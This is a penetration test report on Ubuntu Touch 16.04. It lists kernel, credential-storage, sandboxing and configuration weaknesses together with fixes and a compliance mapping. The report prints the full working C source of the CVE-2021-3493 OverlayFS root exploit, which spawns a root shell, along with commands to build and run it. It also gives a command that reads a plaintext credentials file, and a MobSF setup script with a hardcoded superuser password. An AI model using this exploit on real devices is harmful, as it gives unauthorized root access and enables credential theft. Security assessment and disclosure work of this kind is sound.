## Penetration Testing report for Ubuntu touch

**Date**: 13th September, 2025
**Prepared By**: Open Members
**Target System**: Ubuntu Touch (16.04, Kernel 5.4.0)

Executive Summary

We were tasked to conduct a penetration test of *Ubuntu Touch* to identify vulnerabilities, exploits and security weaknesses. The goal is to improve the security posture of Ubuntu Touch and contribute actionable insights to the open-source community.

Key Findings Overview

| Risk Level | Count | Vulnerabilities |
|---|---|---|
| Critical | 2 | Kernel CVE-2021-3493, Insecure credential storage |
| High | 2 | Weak snap confinement, Disabled ASLR |
| Medium | 3 | Unrestricted sudo, Outdated snap packages, Un-encrypted disk storage |

---

1. Risk Rating

Critical: 2
High: 2
Medium: 3

***Recommendations***: Immediate patching of the kernel, migration from Click to Snap packages, and enforcement of stricter AppArmour policies.

---

2. Scope

Target Devices: Ubuntu touch v16.04 (kernel 5.4.0) on linux smartphones.

Tested components: --

Kernel Security
Pre-installed apps
System configurations

---

3. Methodology

3.1 Reconnaissance

Identified OS version, kernel and installed packages.
Mapped network services.

3.2 Vulnerability Scanning

Used `searchsploit` and `exploit-db` to identify kernel CVE's.
Audited app permissions.

3.3 Exploitation

Tested kernel exploits (CVE-2021-3493)
Assessed app sandboxing.

3.4 Post Exploitation

Attempted privilege escalation and lateral movement.

---

4. Findings

4.1 Critical Vulnerabilities

***CVE-2021-3493*** (Privilege escalation using OverlayFs)

*Description*: The kernel allows privilege escalation due to improper handling of OverlayFs.
*Impact*: Attackers can get root access.
*Risk*: Critical
*PoC*: https://github.com/briskets/CVE-2021-3493.git :LiExternalLink:

```
### Script
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;
```

```
    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
```

```
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}
```

*Command Log*

```
### Enumerating Kernel version
uname -a

### Compiling and executing the exploit
gcc exploit.c -o exploit
./exploit
```

***Insecure Click Package*** (com.xyz.corp.com)

*Description*: The legacy mail app stores credentials in `/home/touchusr/.abc_mail/creds.txt`, with world readable permissions.
*Impact*: Credential Theft
*Risk*: Critical
*PoC*: `cat /home/touchusr/.abc_mail/creds.txt`.

---

4.2 High-Risk Vulnerabilities

***Weak Snap Confinement***

*Description*: The VPN snap has unnecessary *network-manager* access.
*Impact*: Potential network interception
*Risk*: High

***Disabled ASLR***

*Description*: Address Space Layout Randomization is disabled.
*Impact*: Easier exploitation of memory corruption vulnerabilities
*Risk*: High
*PoC*: --

```
### Vulnerability
/proc/sys/kernel/randomize_va_space= 0
```

---

4.3 Medium-Risk Misconfigurations

***Unrestricted touchusr sudo access***
*Fix*: Impose stricter restrictions on the `sudoers` file.

***Unencrypted Device Storage***
*Fix*: Enable full-disk encryption

***Outdated snap packages***
*Fix*: Update snaps-- `snap refresh`

Automated tests

***MobSF***

Ref-- https://github.com/MobSF/Mobile-Security-Framework-MobSF

Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. MobSF can be used for a variety of use cases such as mobile application security, penetration testing, malware analysis, and privacy analysis. The Static Analyzer supports popular mobile app binaries like APK, IPA, APPX and source code. Meanwhile, the Dynamic Analyzer supports both Android and iOS applications and offers a platform for interactive instrumented testing, runtime data and network traffic analysis. MobSF seamlessly integrates with your DevSecOps or CI/CD pipeline, facilitated by REST APIs and CLI tools, enhancing your security workflow with ease.

Setup Script for MobSF

```
#!/bin/bash

# Check for Python3 and validate version
if ! command -v python3 &>/dev/null; then
    echo '[ERROR] python3 is not installed.' >&2
    exit 1
fi

python_version=$(python3 --version 2>&1 | awk '{print $2}')
py_major=${python_version%%.*}
py_minor=${python_version#*.}
py_minor=${py_minor%%.*}

if [[ "$py_major" -ne 3 || "$py_minor" -lt 12 || "$py_minor" -gt 13 ]]; then
    echo "[ERROR] MobSF dependencies require Python 3.12 - 3.13. You have Python ${python_version}."
    exit 1
fi
echo "[INSTALL] Found Python ${python_version}"

# Check and upgrade pip
if python3 -m pip -V &>/dev/null; then
    echo '[INSTALL] Found pip'
    upgrade_cmd="python3 -m pip install --no-cache-dir --upgrade pip"
    [[ "$(uname)" != "Darwin" ]] && upgrade_cmd+=" --user"
    eval $upgrade_cmd
else
    echo '[ERROR] python3-pip not installed'
    exit 1
fi

# macOS-specific Xcode CLI tools check
if [[ "$(uname)" == "Darwin" ]]; then
    if ! xcode-select -v &>/dev/null; then
        echo 'Please install command-line tools with: xcode-select --install'
        exit 1
    fi
    echo '[INSTALL] Found Xcode'
fi

# Install dependencies and set up the environment
echo '[INSTALL] Installing Requirements'
python3 -m pip install --no-cache-dir wheel poetry==1.8.4
python3 -m poetry lock
python3 -m poetry install --no-root --only main --no-interaction --no-ansi

echo '[INSTALL] Clean Up'
bash scripts/clean.sh y

# Database setup and superuser creation
echo '[INSTALL] Migrating Database'
export DJANGO_SUPERUSER_USERNAME=mobsf
export DJANGO_SUPERUSER_PASSWORD=mobsf
python3 -m poetry run python manage.py makemigrations
python3 -m poetry run python manage.py makemigrations StaticAnalyzer
python3 -m poetry run python manage.py migrate
python3 -m poetry run python manage.py createsuperuser --noinput --email ""
python3 -m poetry run python manage.py create_roles

# Check for wkhtmltopdf
```

```
if ! command -v wkhtmltopdf &>/dev/null; then
    echo 'Download and Install wkhtmltopdf for PDF Report Generation - https://wkhtmltopdf.org/downloads.html'
fi

echo '[INSTALL] Installation Complete'
```

Analyze script for MobSF

```
#!/bin/bash
var="$1"

function validate_ip() {
    local IP=$1
    if [[ $IP =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]]; then
        for i in ${IP//./ }; do
            ((i >= 0 && i <= 255)) || { echo 'Bad IP'; exit 1; }
        done
    else
        echo 'Bad IP'
        exit 1
    fi
}

function validate_port() {
    local PORT=$1
    if [[ -z "$PORT" || "$PORT" -le 1024 || "$PORT" -ge 65535 ]]; then
        echo 'Invalid Port'
        exit 1
    fi
}

if [[ -n "$var" ]]; then
    IP="${var%%:*}"
    PORT="${var##*:}"
    validate_ip "$IP"
    validate_port "$PORT"
else
    IP='[::]'
    PORT='8000'
fi

python3 -m poetry run gunicorn -b ${IP}:${PORT} mobsf.MobSF.wsgi:application --workers=1 --threads=10 --timeout=3600 \
    --log-level=critical --log-file=- --access-logfile=- --error-logfile=- --capture-output
```

---

Compliance Mapping

| Vulnerability | NIST SP 800-53 | ISO 27001 |
|---|---|---|
| Kernel CVE-2021-3493 | SI-2. AC-6 | A.12.6.1 |
| Insecure credential storage | IA-5, SC-28 | A.9.2.1, A.9.4.1 |
| Weak Snap Confinement | AC-3, CM-7 | A.9.1.2 |

---

Conclusion

The smartphone running this Ubuntu touch version is vulnerable to kernel exploits and insecure app configurations. Implementing the recommended fixes will significantly improve the security posture of the device.